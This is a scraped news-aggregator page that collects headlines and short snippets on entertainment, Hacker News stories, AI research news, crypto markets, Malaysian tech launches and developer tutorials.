    는 2006년 개봉 후 수많은 이들에게 인생작으로 기억되는 작품이죠. 화려한 패션 업계의 이면과 사회 초년생의 성장 스토리를 현실감 있게 그려내며 개봉 19년이 지난 지금도 꾸준히 회자되고 있어요. 그런 레전드 작품의 속편 소식이 들려오자마자 전 세계 팬들이 들썩이고 있어요. 월트디즈니 컴퍼니 코리아가 지난 13일, 드디어 의 티저 예고편을 공개하며 속편 제작을 공식화하며 2026년 5월 1일 개봉을 알렸어요. 전작의 주역들이 다시 뭉쳤다는 소식은 벌써부터 팬들의 마음을 설레게 하고 있어요. 과연 20년 만에 돌아온 런웨이는 어떤 모습일까요? 사실 이 작품은 로렌 와이스버거(Lauren Weisberger)의 동명 베스트셀러 소설을 원작으로 하고 있어요. 작가가 유명 패션 매거진 '보그(Vogue)'에서 편집장 어시스턴트로 일했던 경험을 바탕으로 썼다고 알려져 더욱 화제를 모았죠. 소설의 성공 이후 영화화가 결정되면서 더욱 큰 신드롬을 일으키게 되었답니다. 2006년 개봉했던 는 사회부 기자를 꿈꾸던 앤드리아(앤 해서웨이)가 최고의 패션 매거진 '런웨이'에 입사해 악마 같은 보스 미란다(메릴 스트립) 아래에서 살아남기 위해 고군분투하는 이야기를 그렸습니다. 이 영화는 개봉 당시 전 세계적으로 3억 2,600만 달러(약 4,790억 5,700만 원) 이상의 수익을 올리며 제작비의 무려 10배에 가까운 엄청난 흥행을 기록했어요. 이 작품은 배우들의 연기력으로도 큰 찬사를 받았습니다. 특히 메릴 스트립은 골든 글로브 시상식 뮤지컬코미디…  ( 7 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins Shake Up Tiny Desk London rock duo Georgia South and Amy Love stormed NPR’s Tiny Desk with mega-distorted bass, gritty vocals and head-banging hip-hop beats. They skipped the niceties and blasted off with Cleopatra, dared their inner demons on Monsters and slapped a supernatural twist on Hummingbird using a Harp Blaster mic and a dedicated pedal cam. With pedalboards the size of spaceships and drummer Jake Woodward laying down the law, Nova Twins recruited the audience to crank it up one last time on the heavy finale Choose Your Fighter. It was anything but the polite set you’d expect under the desk. Watch on YouTube  ( 6 min )
    The Hidden Truth About the Wise Men: What the Bible Really Says About the Magi and Why It Changes Everything
    When most people picture the Nativity, they imagine three kings on camels crossing the desert, guided by a shining star toward a manger. Yet the Bible never actually says there were three wise men—or that they were kings at all. What Scripture gives us in Matthew 2:1-12 is something far deeper: a mystery of faith, guidance, and worship that still transforms hearts today. This isn’t just a Christmas story. Before we dive deep, watch this life-changing reflection: Watch the Wise Men Story on YouTube What Matthew 2 Really Says “After Jesus was born in Bethlehem in Judea, during the time of King Herod, Magi from the east came to Jerusalem and asked, ‘Where is the one who has been born king of the Jews? We saw his star when it rose and have come to worship him.’” — Matthew 2:1-2 (NIV) Matthew t…  ( 11 min )
    Project Exercise: Provide private storage for internal company documents
    Create a storage account and configure high availability. Create a storage account for the internal private company documents. In the portal, search for and select Storage accounts. Select + Create. Select the Resource group created in the previous lab. Set the Storage account name to private. Add an identifier to the name to ensure the name is unique. Select Review, and then Create the storage account. Wait for the storage account to deploy, and then select Go to resource. 2.This storage requires high availability if there’s a regional outage. Read access in the secondary region is not required. Configure the appropriate level of redundancy. In the storage account, in the Data management section, select the Redundancy blade. Ensure Geo-redundant storage (GRS) is selected. Refr…  ( 8 min )
    Beyond "The End of Cybersecurity": Refusal as Default Architecture
    How AI-Accelerated Clarity—Not Just Code Quality—Reshapes Security Author's Note (November 2025): I wrote this analysis in late October 2025 in immediate response to Jen Easterly's Foreign Affairs piece "The End of Cybersecurity: America's Digital Defenses Are Failing—but AI Can Save Them," published October 16, 2025. Easterly had stepped down as CISA Director nine months earlier on January 20, 2025, and was writing from her new position as Visiting Fellow at Oxford's Blavatnik School of Government—offering her perspective from outside government service. Her thesis was provocative: AI could fix software vulnerabilities at scale, making reactive cybersecurity obsolete. But within weeks of publication, the industry reality revealed the thesis as incomplete: Prompt injection is an "unsolve…  ( 15 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    Predator: Badlands is tearing it up as the second PG-13 outing since 2004’s Alien vs. Predator, winning over both fans and critics while smashing franchise opening-weekend records. Shifting the Predator from villain to hero clearly paid off in this sequel/Alien crossover. Want more juicy SPOILERS? Catch The Weekly Planet podcast every Monday on YouTube, Spotify, Apple Podcasts and wherever you get your pods—and swing by BigSandwich.co for early videos and bonus content. Watch on YouTube  ( 6 min )
  • Open

    No Leak, No Problem – Bypassing ASLR with a ROP Chain to Gain RCE
    Comments  ( 18 min )
    USDA head says 'everyone' on SNAP will now have to reapply
    Comments
    Go's Sweet 16
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    SSL Configuration Generator
    Comments
    30 Days, 9 Cities, 1 Question: Where Did American Prosperity Go?
    Comments
    Mentra (YC W25) Is Hiring: Head of Growth to Make Smart Glasses Mainstream
    Comments  ( 4 min )
    First Microprocessor – 50th Anniversary 2020
    Comments  ( 11 min )
    Houston, We Have a Problem: Anthropic Rides an Artificial Wave – BIML
    Comments  ( 4 min )
    All Praise to the Lunch Ladies
    Comments  ( 17 min )
    Show HN: Epstein Files Organized and Searchable
    Comments
    Better pre-commit, re-engineered in Rust
    Comments  ( 2 min )
    An Italian Company Builds the First Known Propellantless Space-Propulsion System
    Comments  ( 6 min )
    A Rigorous Approach to the Algorithmic Composition of Iannis Xenakis(2009) [pdf]
    Comments  ( 207 min )
    Show HN: Chirp – Local Windows dictation with ParakeetV3 no executable required
    Comments  ( 10 min )
    Structured Outputs on the Claude Developer Platform (API)
    Comments  ( 64 min )
    Raccoons are showing early signs of domestication
    Comments  ( 8 min )
    Minisforum Stuffs Entire Arm Homelab in the MS-R1
    Comments  ( 8 min )
    AI World Clocks
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    We Uncovered a Race Condition in Aurora RDS
    Comments  ( 36 min )
    Show HN: Dumbass Business Ideas
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    Secret Boat Strike Memo Justifies Kills by Claiming Targeting Drugs, Not People
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    Not even a month passed and Chat Control is back in the EU
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    Bitchat for Gaza – messaging without internet
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    Norway's Wealth Tax Unchains a Capital Exodus
    Comments  ( 6 min )
    Meeting notes between Forgejo and the Dutch government via Git commits
    Comments  ( 10 min )
    I've Wanted to Play That 'Killer Shark' Arcade Game Briefly Seen in 'Jaws'
    Comments  ( 8 min )
    Germany to Ban Huawei from Future 6G Network in Sovereignty Push
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    You misunderstand what it means to be poor
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    Moving Back to a Tiling WM – XMonad
    Comments  ( 17 min )
    RetailReady (YC W24) Is Hiring
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    Manganese is Lyme disease's double-edge sword
    Comments  ( 4 min )
    US Tech Market Treemap
    Comments
    'No One Lives Forever' Turns 25 and You Still Can't Buy It Legitimately
    Comments  ( 11 min )
    The American Tradition of Trying to Address Anxiety with Parks
    Comments  ( 36 min )
    Childhood Friends, Not Moms, Shape Attachment Styles Most
    Comments  ( 31 min )
    Oracle hit hard in Wall Street's tech sell-off over its AI bet
    Comments  ( 6 min )
    Linear Algebra Explains Why Some Words Are Effectively Untranslatable
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    What Comes After Science?
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    Wealthy foreigners 'paid for chance to shoot civilians in Sarajevo'
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    I think nobody wants AI in Firefox, Mozilla
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    Furry Studies conference gathers worldwide wisdom at second annual event
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    AGI fantasy is a blocker to actual engineering
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    Nvidia is gearing up to sell servers instead of just GPUs and components
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    Don't turn your brain off
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    Backblaze Drive Stats for Q3 2025
    Comments  ( 18 min )
    Weight-sparse transformers have interpretable circuits [pdf]
    Comments  ( 307 min )
    EDE: Small and Fast Desktop Environment
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    Winamp for OS/X
    Comments  ( 7 min )
    What I learned about creativity from a man painting on a treadmill (2024)
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    Arrival Radar
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    Magit manuals are available online again
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    Show HN: European Tech News in 6 Languages
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    Show HN: I made a fireplace for your wrist (and widgets)
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    Gnome 50 Ends the X11 Era After Decades
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    Show HN: Encore – Type-safe back end framework that generates infra from code
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    A Spectral-Geometric Proof of the Riemann Hypothesis
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    V8 Garbage Collector
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    Reproducible C++ builds by logging Git hashes
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    CLI tool to check the Git status of multiple projects
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    Ask HN: Is building for the web even worth it now?
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    Show HN: Pegma, the free and open-source version of the classic Peg solitaire
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    A/B Tests over Evals
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    RegreSQL: Regression Testing for PostgreSQL Queries
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    Multi-User Dungeon (MUD)
    Comments
    Lawmakers want to ban VPNs and have no idea what they're doing
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    Fastmcpp (Fastmcp for C++)
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    Hooked on Sonics: Experimenting with Sound in 19th-Century Popular Science
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    The Anatomy of the Least Squares Method, Part Two
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    Fannie Mae officials ousted after sounding alarm on sharing confidential data
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    Copyright Winter Is Coming (To Wikipedia?)
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    Why do voice transcription apps charge monthly when Whisper runs locally?
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    Why Fei-Fei Li and Yann LeCun Are Both Betting on "World Models"
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    HipKittens: Fast and furious AMD kernels
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    Our dogs' diversity can be traced back to the Stone Age
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    Holes (1970) [pdf]
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    How to Get a North Korea / Antarctica VPS
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    Microsoft-backed Veir is bringing superconductors to data centers
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    Scientists Reveal How the Maya Predicted Eclipses for Centuries
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    Apple Mini Apps Partner Program
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    Spectral rendering, part 2: Real-time rendering
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  • Open

    Google’s new AI training method helps small models tackle complex reasoning
    Researchers at Google Cloud and UCLA have proposed a new reinforcement learning framework that significantly improves the ability of language models to learn very challenging multi-step reasoning tasks. Supervised Reinforcement Learning (SRL) reformulates problem-solving as a sequence of logical “actions,” providing rich learning signals during the training process. This approach enables smaller models to learn complex problems that were previously out of reach for other common training techniques. Experiments show that SRL not only excels on math reasoning benchmarks but also generalizes effectively to agentic software engineering tasks. SRL is a versatile training framework that can elevate smaller and less expensive models to higher reasoning abilities. The limits of current LLM reasoni…
    ChatGPT Group Chats are here... but not for everyone (yet)
    It was originally found in leaked code and publicized by AI influencers on X, but OpenAI has made it official: ChatGPT now offers Group Chats, allowing multiple users to join the same, single ChatGPT conversation and send messages to each other and the underlying large language model (LLM), online and via its mobile apps. Imagine adding ChatGPT as another member of your existing group chats, allowing you to text it as you would one of your friends or family members and have them respond as well, and you'll have an idea of the intriguing power and potential of this feature. However, the feature is only available as a limited pilot for now to ChatGPT users in Japan, New Zealand, South Korea, and Taiwan (all tiers, including free usage). “Group chats are just the beginning of ChatGPT becomi…
    OpenAI experiment finds that sparse models could give AI builders the tools to debug neural networks
    OpenAI researchers are experimenting with a new approach to designing neural networks, with the aim of making AI models easier to understand, debug, and govern. Sparse models can provide enterprises with a better understanding of how these models make decisions.  Understanding how models choose to respond, a big selling point of reasoning models for enterprises, can provide a level of trust for organizations when they turn to AI models for insights.  The method called for OpenAI scientists and researchers to look at and evaluate models not by analyzing post-training performance, but by adding interpretability or understanding through sparse circuits. OpenAI notes that much of the opacity of AI models stems from how most models are designed, so to gain a better understanding of model behavi…
  • Open

    Bitcoin Slides Below $95K in Worst Week Since March; Analyst Sets Downside Target at $84K
    BTC has tumbled nearly 9% this week, while ETH, SOL declined even further and XRP outperformed.  ( 33 min )
    U.S. DOJ Pursues North Korea's Illicit Money Machine, Seizes More Crypto
    U.S. authorities secured several criminal convictions and gathered another $15 million in proceeds from North Korean crypto heists, the Justice Department said.  ( 33 min )
    XRP Slides 7% but ETF Launch Sets Stage for Potential Reversal Above $2.36
    Analysts caution that the market remains vulnerable to further declines, with large token movements and macroeconomic factors contributing to uncertainty.  ( 34 min )
    BlackRock’s $2.5B Tokenized Fund Gets Listed as Collateral on Binance, Expands to BNB Chain
    The $2.5 billion BUIDL fund, tokenized by Securitize, deepens its utility for institutional traders and expands to a new blockchain.
    Canary Likely to Hit Pause on ETF Filings With XRP, Eyes SEC Shift for What’s Next
    The firm’s CEO says it has ‘filed everything that falls under the generic listing standards’ as SEC approval barriers remain high.
    Ether Tumbles 8% as ETFs Bleed Over $1.4B, Long-Term Holders Sell
    ETH plunged below $3,100 on Friday as the crypto selloff accelerated with bitcoin losing the $100,000 level.  ( 33 min )
    'No Truth to the Rumor': Michael Saylor Says Strategy Aggressively Accumulating Bitcoin
    Amid the continued panicky action in crypto, online chatter suggested Strategy was unloading some of its bitcoin stack, a rumor Executive Chairman Michael Saylor shot down Friday morning.  ( 31 min )
    CoinDesk 20 Performance Update: AAVE Falls 7.8%, Leading Index Lower
    Uniswap (UNI) was also among the underperformers, declining 5.5% from Thursday.  ( 28 min )
    Tom Lee's Ethereum Treasury Firm BitMine Immersion Appoints Chi Tsang as CEO
    Tsang has replaced Jonathan Bates, who led the former bitcoin mining firm from its early days through its pivot to an Ethereum treasury strategy.  ( 31 min )
    Trump Family-Linked American Bitcoin Posts Q3 Profit, Doubles Revenue
    The shares slumped more than 13% in pre-market trading as the price of bitcoin tumbled.  ( 31 min )
    Running for the Exits: Crypto Daybook Americas
    Your day-ahead look for Nov. 14, 2025  ( 36 min )
    Crypto Markets Today: Bitcoin Breaches $98K as Liquidations Top $1.1B
    A sharp liquidity crunch sent bitcoin and altcoins plunging, triggering over a billion dollars in derivatives liquidations as traders brace for a potential trend reversal.  ( 33 min )
    3 Key Charts to Track as Ether Strengthens Against Bitcoin
    Ether strengthens against bitcoin, raising hopes of a bullish breakout.  ( 31 min )
    Bitcoin Spot ETFs See $869M Outflow, Second-Largest on Record
    Investors have pulled out $2.64 billion over three weeks  ( 29 min )
    Tether Dominance Surges to Highest Since April. What Does it Mean?
    Tether becomes more dominance as BTC loses ground.  ( 30 min )
    XRP ETF Fails to Bump Bulls as Ripple-Linked Token Plunges 7.3% Amid BTC Selloff
    Brutal selloff breaks psychological $2.30 floor, erasing recent gains as distribution overwhelms historic XRPC debut.  ( 33 min )
    Bitcoin Plunges Under $98,000, ETH, SOL, ADA Down 8% as $880M in Bullish Bets Liquidated
    China’s latest dataset showed economic activity cooling far more than expected, creating selling in Asian stocks in Friday trading hours.  ( 32 min )
    Canary's XRP ETF Tops 2025 Debuts with $58M Day-One Volume
    The XRPC ETF narrowly surpassed Bitwise’s Solana ETF in first-day trading volume.  ( 31 min )
    Why Bitcoin, XRP, Solana, and Ether Slide as Gold and Silver Soar?
    Major cryptocurrencies and gold and silver have been on diverging trends despite the pause in the dollar rally.  ( 35 min )
    Nearly 25% of Adults With Internet Access in Asia Might Own Crypto, Report Says
    Nearly a quarter of adults might own crypto, but ease of use and access remain limiting factors, the report, produced by CoinDesk and Protocol Theory said.  ( 32 min )
  • Open

    How to Get Started with PocketBase: Build a Lightweight Backend in Minutes
    If you’re a developer looking for a simple, fast, and self-hosted backend, PocketBase might be exactly what you need. It’s an open-source backend written in Go that lets you set up a complete backend with database, authentication, file storage, and ...  ( 8 min )
    Harvard CS50 prof David J. Malan on why you should learn programming slowly [Podcast #197]
    Dr. David J. Malan teaches computer science at Harvard. Over the past decade, millions of people have taken his CS50 course both in person and online. He joins us to talk about: Why he still recommends learning the C programming language in 2026 Ho...  ( 4 min )
    How to Implement Dependency Injection in FastAPI
    Several languages and frameworks depend on dependency injection—no pun intended. Go, Angular, NestJS, and Python's FastAPI all use it as a core pattern. If you've been working with FastAPI, you've likely encountered dependencies in action. Perhaps yo...  ( 11 min )
  • Open

    The Download: how AI really works, and phasing out animal testing
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. OpenAI’s new LLM exposes the secrets of how AI really works The news: ChatGPT maker OpenAI has built an experimental large language model that is far easier to understand than typical models. Why…  ( 21 min )
    These technologies could help put a stop to animal testing
    Earlier this week, the UK’s science minister announced an ambitious plan: to phase out animal testing. Testing potential skin irritants on animals will be stopped by the end of next year, according to a strategy released on Tuesday. By 2027, researchers are “expected to end” tests of the strength of Botox on mice. And drug tests…  ( 21 min )
  • Open

    Adata And MSI Launches “World’s First” 4-Rank CUDIMM DDR5 Memory
    Adata officially announced that it has created the world’s first ultra-high-capacity CUDIMM DDR5 memory module, in cooperation with PC brand MSI. The new memory module uses a 4-rank architecture and can hold a whopping 128GB of memory on a single stick, and still maintain stable operability. Adata claims that its 4-Rank CUDIMM DDR5 memory was […] The post Adata And MSI Launches “World’s First” 4-Rank CUDIMM DDR5 Memory appeared first on Lowyat.NET.  ( 33 min )
    Valve Is Waiting For More Powerful Hardware Before It Makes The Steam Deck 2
    Valve surprised us with the announcement of not one, but three new products in the form of the Steam Frame, Steam Machine, and its second generation Steam Controller. Naturally, the question of “But why no Steam Deck 2?” came up, and according to the company, it’s still waiting for better, more significant and powerful hardware […] The post Valve Is Waiting For More Powerful Hardware Before It Makes The Steam Deck 2 appeared first on Lowyat.NET.  ( 35 min )
    MCMC To Probe Telcos For Charging Anti-Scam Services
    Communications Minister Datuk Fahmi Fadzil has directed the Malaysian Communications and Multimedia Commission (MCMC) to investigate claims that several local telcos are imposing a RM10 surcharge for scam-protection services. He said the commission will identify the companies involved and ask them to clarify why they are charging such a fee. Speaking at his post-Cabinet press […] The post MCMC To Probe Telcos For Charging Anti-Scam Services appeared first on Lowyat.NET.  ( 34 min )
    Acer Brings New Predator Products Into Malaysia
    Earlier today, during the Acer Predator League Local Qualifiers, the brand unveiled several of its latest Predator products that are being brought into Malaysia. The list includes the Triton 14 AI, Orion 3000, and a refreshed XB3 gaming monitor. Starting with the Predator Triton 14 AI, the laptop was announced earlier this year and has […] The post Acer Brings New Predator Products Into Malaysia appeared first on Lowyat.NET.  ( 36 min )
    MYJalan2.0 Officially Launches With New Features, Improved Reporting Tools
    The Ministry of Works (KKR) has officially announced that the MYJalan 1.0 road complaint application has been fully discontinued. This shutdown follows the official transition to MYJalan2.0, which is now live starting today on 14 November 2025. According to KKR, MYJalan2.0 introduces a refreshed interface and several smart, user-friendly upgrades designed to make reporting road […] The post MYJalan2.0 Officially Launches With New Features, Improved Reporting Tools appeared first on Lowyat.NET.  ( 34 min )
    Smart Malaysia Launches Fully-Electric #5 SUV; Starting Price RM199,800
    Smart Malaysia has launched the fully-electric #5, which comes in two variants: Premium and Brabus. The mid-size SUV was first previewed at the Malaysia Auto Show (MAS 2025) and comes with a starting price of RM199,800. Design-wise, the EV SUV adopts a boxy profile with clean lines around the body. It features an oblong-themed aesthetic, […] The post Smart Malaysia Launches Fully-Electric #5 SUV; Starting Price RM199,800 appeared first on Lowyat.NET.  ( 38 min )
    vivo’s Vision MR Headset Now Available For Demonstration In Malaysia
    Alongside the local debut of the X300 Series yesterday, vivo also announced that its Vision MR Headset will be available for demonstration in Malaysia. According to the brand, those interested can book their sessions from now until 28 February 2026, which will be offered through vivo Experience Stores in Pavilion Kuala Lumpur, Mid Valley Mega […] The post vivo’s Vision MR Headset Now Available For Demonstration In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Forthing Makes Malaysian Debut At GATE 2025 With Friday SUV And V9 MPV
    Forthing has made its debut in Malaysia at the ongoing Global Automotive and Technology Expo (GATE 2025) in Kuala Lumpur. The brand also previewed two of its models at the event, the Friday SUV and the Utour V9 – both of which will be launching in Malaysia in the near future. The Forthing Friday is […] The post Forthing Makes Malaysian Debut At GATE 2025 With Friday SUV And V9 MPV appeared first on Lowyat.NET.  ( 37 min )
    DJI Launches Osmo Action 6 In China Ahead Of Global Release
    If you’ve been keeping up with DJI in any capacity, then you should be aware that the company is not very good at keeping secrets. Take for example, the Osmo Action 6, the brand’s own action camera that has been the subject of multiple leaks in recent memory. Perhaps in light of that, DJI decided […] The post DJI Launches Osmo Action 6 In China Ahead Of Global Release appeared first on Lowyat.NET.  ( 34 min )
    MARii Announces Penang & Johor Autoshows For 2026
    The Malaysia Automotive Robotics and IoT Institute (MARii) has soft launched the upcoming Penang Autoshow 2026 and Johor Autoshow 2026. This marks the expansion of the Malaysian Autoshow series to deliver advanced automotive technologies to more regions across Malaysia. The Penang Autoshow will be conducted at the Penang Waterfront Convention Centre from 1 May to […] The post MARii Announces Penang & Johor Autoshows For 2026 appeared first on Lowyat.NET.  ( 34 min )
    Google To Let “Experienced Users” Sideload Unverified Android Apps
    Earlier this year, Google declared that it will be blocking users from sideloading unverified Android apps. Following the initial announcement in August, the company has amended the developer verification requirement to allow some users to sideload unverified apps. More specifically, it is granting this privilege to what it calls “experienced users”. In a recent post […] The post Google To Let “Experienced Users” Sideload Unverified Android Apps appeared first on Lowyat.NET.  ( 34 min )
    Agrobank Assures Its Funds, Data, Services Are Unaffected By Internal System Incident
    Agrobanks is currently investigating an internal system incident that occurred recently. Although the bank did not provide details about the incident, it reassured customers that the incident did not compromise any funds or personal data. In a statement on 13 November, Agrobank announced that it has implemented measures to enhance the security of its internal […] The post Agrobank Assures Its Funds, Data, Services Are Unaffected By Internal System Incident appeared first on Lowyat.NET.  ( 33 min )
    Govt To Establish Online Safety Committee to Advise MCMC
    The government will be forming a new online safety committee to act as the highest monitoring body on online safety issues. According to Minister in the Prime Minister’s Department (Law and Institutional Reform) Datuk Seri Azalina Othman Said, this committee will be established under Section 5 of the Online Safety Act 2024 (Act 866). As […] The post Govt To Establish Online Safety Committee to Advise MCMC appeared first on Lowyat.NET.  ( 35 min )
    Genting Malaysia Plans To Introduce Charges For Jalan Genting Highlands Access
    Genting Malaysia Berhad has announced that it will introduce charges for vehicles entering Jalan Genting Highlands. The company says the charging system, to be rolled out at a later date, is necessary to support the long-term upkeep and safety of the 24km stretch. According to a statement issued by Resorts World Genting, the road has […] The post Genting Malaysia Plans To Introduce Charges For Jalan Genting Highlands Access appeared first on Lowyat.NET.  ( 34 min )
    HONOR CEO Confirms Robot Phone Coming In 2026
    Last month, HONOR showcased a smartphone with an AI gimbal camera, nicknamed the “Robot Phone”. When it was first revealed, the device looked more like a concept handset than anything. However, Li Jian, HONOR CEO, confirmed that the device is happening at the World Internet Conference. To bring you up to speed, the Robot Phone […] The post HONOR CEO Confirms Robot Phone Coming In 2026 appeared first on Lowyat.NET.  ( 34 min )
    Leakster “Confirms” Samsung Galaxy Z TriFold Name, Key Specs
    Last month, Samsung showcased its first tri-fold smartphone at the 2025 K-Tech Showcase in South Korea. While the tech giant has yet to divulge details on the device, there has been no shortage of rumours. Recently, leakster Evan Blass has revealed some more information on the phone, including its name. Apparently, Samsung will be calling […] The post Leakster “Confirms” Samsung Galaxy Z TriFold Name, Key Specs appeared first on Lowyat.NET.  ( 34 min )
    OnePlus 15 Lands In Malaysia; Priced At RM4,399
    OnePlus has officially launched its latest flagship, the OnePlus 15, in Malaysia. The model arrives with the same core hardware as its Chinese counterpart, though the local market will only receive a single memory configuration. The phone features a 6.78-inch AMOLED display capable of hitting a 165Hz refresh rate, placing it among the first smartphones […] The post OnePlus 15 Lands In Malaysia; Priced At RM4,399 appeared first on Lowyat.NET.  ( 35 min )
    vivo X300 Pro Review: Audacious, Almost In A Good Way
    It’s probably safe to say that many smartphones out in the market, flagship or otherwise, are pretty samey. For the most part, they are distinguished only by their price and performance brackets. Obviously, a good way to help your product stand out from the rest is by having a speciality. But ironically, the vast majority […] The post vivo X300 Pro Review: Audacious, Almost In A Good Way appeared first on Lowyat.NET.  ( 45 min )

  • Open

    How to make Angular Material inputs look like simple fields
    Introduction Angular material is powerful library with a lot of features. I guess one of the most usable component is input. I'm sure every project uses forms. Material design looks good but does not always correspond to our wishes. Pretty often we need to adapt UI to our design. It may not so easy, especially if we are talking about complex components. In this article, I will show you how you can change material form field and make it looks like a simple field 🙂 When you have label above the field. I won’t go into detail here. Just use the command and follow instructions: ng add @angular/material Before we dive into css we need to do some preparation. We will provide some default options to do it once and forget. { provide: MAT_FORM_FIELD_DEFAULT_OPTIONS, useValue: { appearance: '…  ( 7 min )
    Day 10 Django Learning.
    🧠 Django Learning Journey – Day 10 Today was supposed to be the day — the final step of CRUD, the “Update/Edit” functionality. 🔧 The Plan (which seemed simple) Like the last two days, I: Created a new edit view in views.py Added the URL mapping with pk=list_id Picked the item’s ID from home.html Created a new edit.html template where the specific item should be edited In theory: 🧨 What Actually Happened I did create the link in home.html. I stared at the code for too long and nothing made sense anymore. Tomorrow, with a fresh mind, I’ll revisit the entire “Update” flow step by step. 😮‍💨 The Honest Part Today came with frustration, doubt, and that little whisper: But this is part of the journey. 💬 I Need Your Inputs If you’ve built your first CRUD project in Django: Did the Update/Edit step frustrate you too? Where did you struggle? Any tips on where I might be messing up — views, template, or the redirect flow? Let me know. 🔁 Onward Every other day, something new clicked.  ( 6 min )
    An ADHD-Friendly Task & Focus Timer Built in PHP.
    Introduction Managing attention and productivity can be difficult, especially for people with ADHD. Long to‑do lists often feel overwhelming, and big tasks can be discouraging. To solve this, I built a PHP web application that breaks work into micro‑steps, adds a Pomodoro‑style focus timer, and tracks progress visually. This project demonstrates how simple code can create meaningful tools that support better daily routines. Micro-step task management: Break tasks into tiny, actionable steps. Pomodoro-style focus timer: 25‑minute focus sessions with 5‑minute breaks. Visual progress tracking: Progress bars show completed steps at a glance. Lightweight persistence: Uses a JSON file (data.json) instead of a database. 🛠️ The Code Here’s the heart of the application —…  ( 10 min )
    Terraform
    🍏 INSTALL TERRAFORM ON macOS (100% working) You have two options: OPTION 1 — Install Terraform using Homebrew (RECOMMENDED) Step 1: Update Homebrew brew update brew tap hashicorp/tap brew install hashicorp/tap/terraform terraform -version You should see something like: Terraform v1.7.x OPTION 2 — Manual Installation for Mac Step 1: Download Terraform Go to: https://developer.hashicorp.com/terraform/downloads Download: macOS 64-bit .zip file Double-click the .zip → you will get a single file: terraform /usr/local/bin Run: sudo mv terraform /usr/local/bin/ sudo chmod +x /usr/local/bin/terraform terraform -version Done. INSTALL TERRAFORM ON WINDOWS You can install Terraform in two ways. OPTION 1 — Install Terraform using Chocolatey (BEST) …  ( 10 min )
    Secure and Efficient Remote File System Mounting with SSHFS: A Practical Guide
    This article provides a practical guide on mounting remote file systems using SSHFS, a secure and efficient way to access files over SSH. It explains the prerequisites like having SSH configured correctly on both the client and server sides, and shows how to create local directories to serve as mount points. The tutorial covers the SSHFS command syntax, where you specify the remote user, host, remote directory, and the local mount location. Key options like allow_other are detailed to enable shared access permissions. It also guides on verifying successful mounts through directory listings and system commands like df. User cautions remind not to delete mounted directories to avoid affecting remote data. The article targets users who want seamless remote file access with a focus on security and ease of use.  ( 6 min )
    Inside the App Store: Insights from 10,000 Google Play Applications
    Introduction In this project, and as part of the training course on the Qwasar Silicon Valley platform, we analyze a database containing more than ten thousand applications from the Google Play Store for the years 2017 and 2018. Our goal is to interpret this data and extract conclusions that provide a deeper understanding of the app market, while addressing practical questions such as: What is the size of the market? (in terms of the number of downloads and the total revenue of paid applications), and what is the distribution of categories and their percentages? We will follow a clear scientific methodology that includes data cleaning, visual and statistical exploratory analysis, and calculating indicators such as average prices, as well as ranking applications by popularity and price. I…  ( 9 min )
    Weaning Woes
    I was not prepared for weaning to be this horrible. Last time I did it, I had pregnancy hormones to boost me up. I haven't been this depressed and anxious in a long time. My self-drive and motivation has essentially evaporated. I started night weaning several weeks ago and didn't think it was affecting me. Now that I'm on a business trip and going cold turkey, I'm realizing that the night weaning is the likely culprit of the insane insomnia I've been experiencing the last few weeks, considering Sky was doing the bulk of their nursing 3-5x a night. And now that I've gone cold turkey, my bowels have collapsed and I feel like puking all the time, and I've been getting hot flashes! And that deep deep feeling of despair. Ugh. The light at the end of the tunnel here is that perhaps I can start sleeping normally again in a few weeks, and my body will be mine again? One can only hope.  ( 7 min )
    Flutter Stateful Widget on the Backend
    If you're a Flutter developer who's ever tried to build a backend, you know how challenging the transition can be. You need to learn about databases, HTTP protocols, and often pick up an entirely new programming language. And if your app requires custom business logic with complex state management, things get even more complicated. Perhaps you even worked with Firebase, so you know how cloud functions become difficult to work with, and maintaining state across serverless invocations feels like fighting against the platform. This is where Horda comes in! Horda is a stateful serverless platform that lets you transition from writing frontend Flutter code to Dart backend with ease, using the same familiar patterns you already know. As a Flutter developer you are most likely used to working wit…  ( 10 min )
    KORE: Enhancing Knowledge Injection for Large Multimodal Models viaKnowledge-Oriented Augmentations and Constraints
    How AI Learns New Facts Without Forgetting the Old Ones Ever wonder how a smart assistant can stay up‑to‑date with the latest news while still remembering everything it already knows? KORE is a new trick that lets huge AI models absorb fresh information without wiping out the old. Read article comprehensive review in Paperium.net: KORE: Enhancing Knowledge Injection for Large Multimodal Models viaKnowledge-Oriented Augmentations and Constraints 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 28 min )
    Rick Beato: My European Tour Recap!
    My European Tour Recap! In today’s livestream I dive into the highlights, surprises and key takeaways from my just-concluded European adventure—think fresh insights, behind-the-scenes moments and lessons that’ll shape my music and teaching going forward. Limited-Time Bundle Alert Through Friday, November 14 at 11:59 pm ET you can grab my two flagship products—The Beato Book Interactive (500+ pages of theory with audio/video) and The Ear Training Method (80+ videos + interactive modules)—for just $79 (normally $198). Lifetime access plus all December 2025 updates free. Watch on YouTube  ( 6 min )
    Build a Smart Object Detection Alarm with Arduino & HC-SR04 Sensor – Full Tutorial
    Introduction In this hands-on project, we successfully designed and built a smart object detection alarm using an Arduino UNO and an HC-SR04 ultrasonic sensor. The system detects objects within a predefined range and triggers an audible alert via a buzzer. This project not only demonstrates the use of ultrasonic technology for proximity sensing but also validates the functionality of new hardware components after troubleshooting earlier failures. Objective: Create a reliable object detection system using ultrasonic waves. Core Components: Arduino UNO, HC-SR04 sensor, active/passive buzzer, and jumper wires. Applications: Parking assistance, home security, robotics, and industrial measurement. Methodology & Components We used an ultrasonic detection methodology combined with real-time …  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch with Bill, Sean & Van Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s slick thriller Snake Eyes, unpacking Nic Cage’s undercover-cop charisma, Gary Sinise’s power-hungry political boss, and Carla Gugino’s unforgettable screen presence—all while sharing laughs and insider takes on this cult classic. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal—score 5% cash back when you Pay in 4 all holiday long (offer expires 12/31). Don’t forget to subscribe to The Ringer and catch more film chats across their channels! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
